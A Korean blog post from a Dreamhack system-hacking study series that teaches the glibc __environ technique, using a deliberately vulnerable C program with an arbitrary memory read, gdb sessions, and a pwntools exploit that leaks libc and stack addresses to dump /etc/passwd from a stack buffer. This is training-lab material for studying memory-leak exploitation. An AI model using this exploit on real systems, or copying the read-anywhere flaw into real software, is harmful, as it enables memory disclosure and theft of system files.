[Dreamhack] Exploit Tech: __environ

Sisyphus·2022년 7월 29일
0

Dreamhack - System Hacking

목록 보기
44/49

들어가며

환경 변수 실습 예제

// Name: environ.c
// Compile: gcc -o environ environ.c

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>

void sig_handle() {
    exit(0);
}

void init() {
    setvbuf(stdin, 0, 2, 0);
    setvbuf(stdout, 0, 2, 0);
  
    signal(SIGALRM, sig_handle);
    alarm(5);
}

void read_file() {
    char file_buf[4096];
  
    int fd = open("/etc/passwd", O_RDONLY);
    read(fd, file_buf, sizeof(file_buf) - 1);
    close(fd);
}

int main() {
    char buf[1024];
    long addr;
    int idx;
  
    init();
    read_file();
  
    printf("stdout: %p\n", stdout);
  
    while (1) {
      printf("> ");
      scanf("%d", &idx);
      switch (idx) {
        case 1:
          printf("Addr: ");
          scanf("%ld", &addr);
          printf("%s", (char *)addr);
          break;
        default:
          break;
      }
    }
    return 0;
}


환경 변수

환경 변수

한경변수는 매번 변할 수 있는 동적인 값들의 모임으로, 시스템의 정보를 갖고 있는 변수입니다. 우리나 프로그램이 절대 경로를 입력하지 않아도 명령어가 실행되는 이유는 환경변수에 디렉터리가 명시되어 있기 때문입니다.

리눅스 바이너리를 공격할 때 상황에 따라 스택 주소를 알아내야 할 때가 종종있습니다. 환경 변수에 대한 정보는 스택 영역에 존재하며, 라이브러리 함수를 실행할 때에도 해당 정보를 참조하기 때문에 환경 변수를 가리키는 포인터가 별도로 선언되어 있습니다. 따라서 해당 라이브러리 주소를 알고 있고, 임의의 주소를 읽을 수 있는 취약점이 있다면 스택 주소를 알아낼 수 있습니다.


__environ

$ readelf -s /lib/x86_64-linux-gnu/libc.so.6 | grep "environ"
   295: 00000000003ee098     8 OBJECT  WEAK   DEFAULT   35 _environ@@GLIBC_2.2.5
  1007: 00000000003ee098     8 OBJECT  WEAK   DEFAULT   35 environ@@GLIBC_2.2.5
  1352: 00000000003ee098     8 OBJECT  GLOBAL DEFAULT   35 __environ@@GLIBC_2.2.5

libc.so.6 파일에서 environ 심볼을 찾아보면 __environ이라는 이름의 전역 변수가 있습니다.
이는 시스템 명령어를 실행하기 위한 execve 계열의 함수와 getenv 등 환경 변수와 관련된 함수에서 참조하는 변수입니다.

예제를 디버깅하여 __environ 포인터에 어떤 주소가 있는지 확인해보겠습니다.

$ gdb-gef environ
gef➤  start
gef➤  x/gx &__environ
0x7ffff7ffe118 <environ>:       0x00007fffffffe0e8
gef➤  vmmap  0x00007fffffffe0e8
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]
gef➤  x/10gx  0x00007fffffffe0e8
0x7fffffffe0e8: 0x00007fffffffe337      0x00007fffffffe923
0x7fffffffe0f8: 0x00007fffffffe933      0x00007fffffffe955
0x7fffffffe108: 0x00007fffffffe985      0x00007fffffffe998
0x7fffffffe118: 0x00007fffffffe9a5      0x00007fffffffe9c0
0x7fffffffe128: 0x00007fffffffe9df      0x00007fffffffe9fc
gef➤  x/s 0x00007fffffffe337
0x7fffffffe337: "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:

__environ은 더블 포인터로, 각각의 환경 변수 문자열이 포함된 주소를 갖고 있는 것을 확인할 수 있습니다. 해당 주소를 vmmap으로 확인해보면 stack 영역임을 알 수 있습니다.

만약 라이브러리의 주소를 알고 있고, 해당 주소를 읽을 수 있는 취약점이 있다면 스택 주소를 릭하고 공격에 이용할 수 있습니다.



분석

보호 기법

ion@Galaxy-Book:~/dreamhack/__environ$ checksec environ
[*] '/home/ion/dreamhack/__environ/environ'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

코드 분석

예제는 "/etc/passwd" 파일의 내용을 읽고 스택 버퍼에 저장합니다. 메인 함수에는 stdout 라이브러리 주소를 출력하고, 반복해서 임의 주소에 있는 값을 읽을 수 있는 취약점이 존해합니다.



익스플로잇

익스플로잇 설계

1. __environ 주소 계산

stdout을 통해 베이스 주소를 계산하고, __environ 포인터의 주소를 알아냅니다.

2. 스택 주소 계산

__environ 주소를 알아냈다면, 임의 주소 읽기 취약점을 통해 스택 주소를 알아내고, "/etc/passwd" 파일의 내용이 저장된 스택 버퍼의 주소를 계산합니다. 해당 주소는 환경 변수와 상대적인 거리가 매번 같으므로, 디버깅을 통해 주소의 간격을 알아냅니다.

3. 파일 내용 읽기

파일의 내용을 저장하고 있는 스택 버퍼 주소를 알아냈다면, 임의 주소 읽기 취약점을 통해 스택 버퍼를 출력하여 파일의 내용을 흭득합니다.


__environ 주소 계산

libc_base = stdout - stdout_symbols
libc_environ = libc_base + __environ_symbols

# Name: environ.py
from pwn import *

p = process("./environ")
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p.recvuntil(": ")

stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['__environ']

print(hex(libc_base))
print(hex(libc_environ))

p.interactive()
$ python3 environ.py
[+] Starting local process './environ': pid 79
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
0x7f17b5db1000
0x7f17b619f098
[*] Switching to interactive mode

스택 주소 계산

file_content = __environ - (__environ - file_content)

디버깅을 통해 __environ - file_content를 찾아보면

gef➤  disas read_file
Dump of assembler code for function read_file:
...
   0x0000555555400a2c <+54>:    lea    rcx,[rbp-0x1010]
   0x0000555555400a33 <+61>:    mov    eax,DWORD PTR [rbp-0x1014]
   0x0000555555400a39 <+67>:    mov    edx,0xfff
   0x0000555555400a3e <+72>:    mov    rsi,rcx
   0x0000555555400a41 <+75>:    mov    edi,eax
   0x0000555555400a43 <+77>:    call   0x555555400810 <read@plt>
   0x0000555555400a48 <+82>:    mov    eax,DWORD PTR [rbp-0x1014]
...
gef➤  b * read_file+77
gef➤  r
gef➤  x/x $rsi
0x7fffffffcbb0: 0x00000000
gef➤  p/x __environ
$1 = 0x7fffffffe0e8
gef➤  $ 0x7fffffffe0e8-0x7fffffffcbb0
5432
0x1538

__environ - file_content = 0x1538


파일 내용 읽기

__environ 주소에서 0x1538을 뺀 주소에 있는 값을 출력하면 "/etc/passwd" 파일 내용을 읽을 수 있습니다.

# Name: environ.py
from pwn import *

p = process("./environ")
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p.recvuntil(": ")

stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['__environ']

print(hex(libc_base))
print(hex(libc_environ))

p.sendlineafter(">", "1")
p.sendlineafter(":", str(libc_environ))

p.recv(1)
stack_environ = u64(p.recv(6).ljust(8, b"\x00")) 
file_content = stack_environ - 0x1538

print("stack_environ: " + hex(stack_environ))

p.sendlineafter(">", "1")
p.sendlineafter(":", str(file_content))

p.interactive()

$ python environ.py 
[+] Starting local process './environ': pid 7606
[*] '/lib/x86_64-linux-gnu/libc.so.6'
   Arch:     amd64-64-little
   RELRO:    Partial RELRO
   Stack:    Canary found
   NX:       NX enabled
   PIE:      PIE enabled
0x7fd946495000
0x7fd946883098
stack_environ: 0x7ffca4a9f608
[*] Switching to interactive mode
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...

0개의 댓글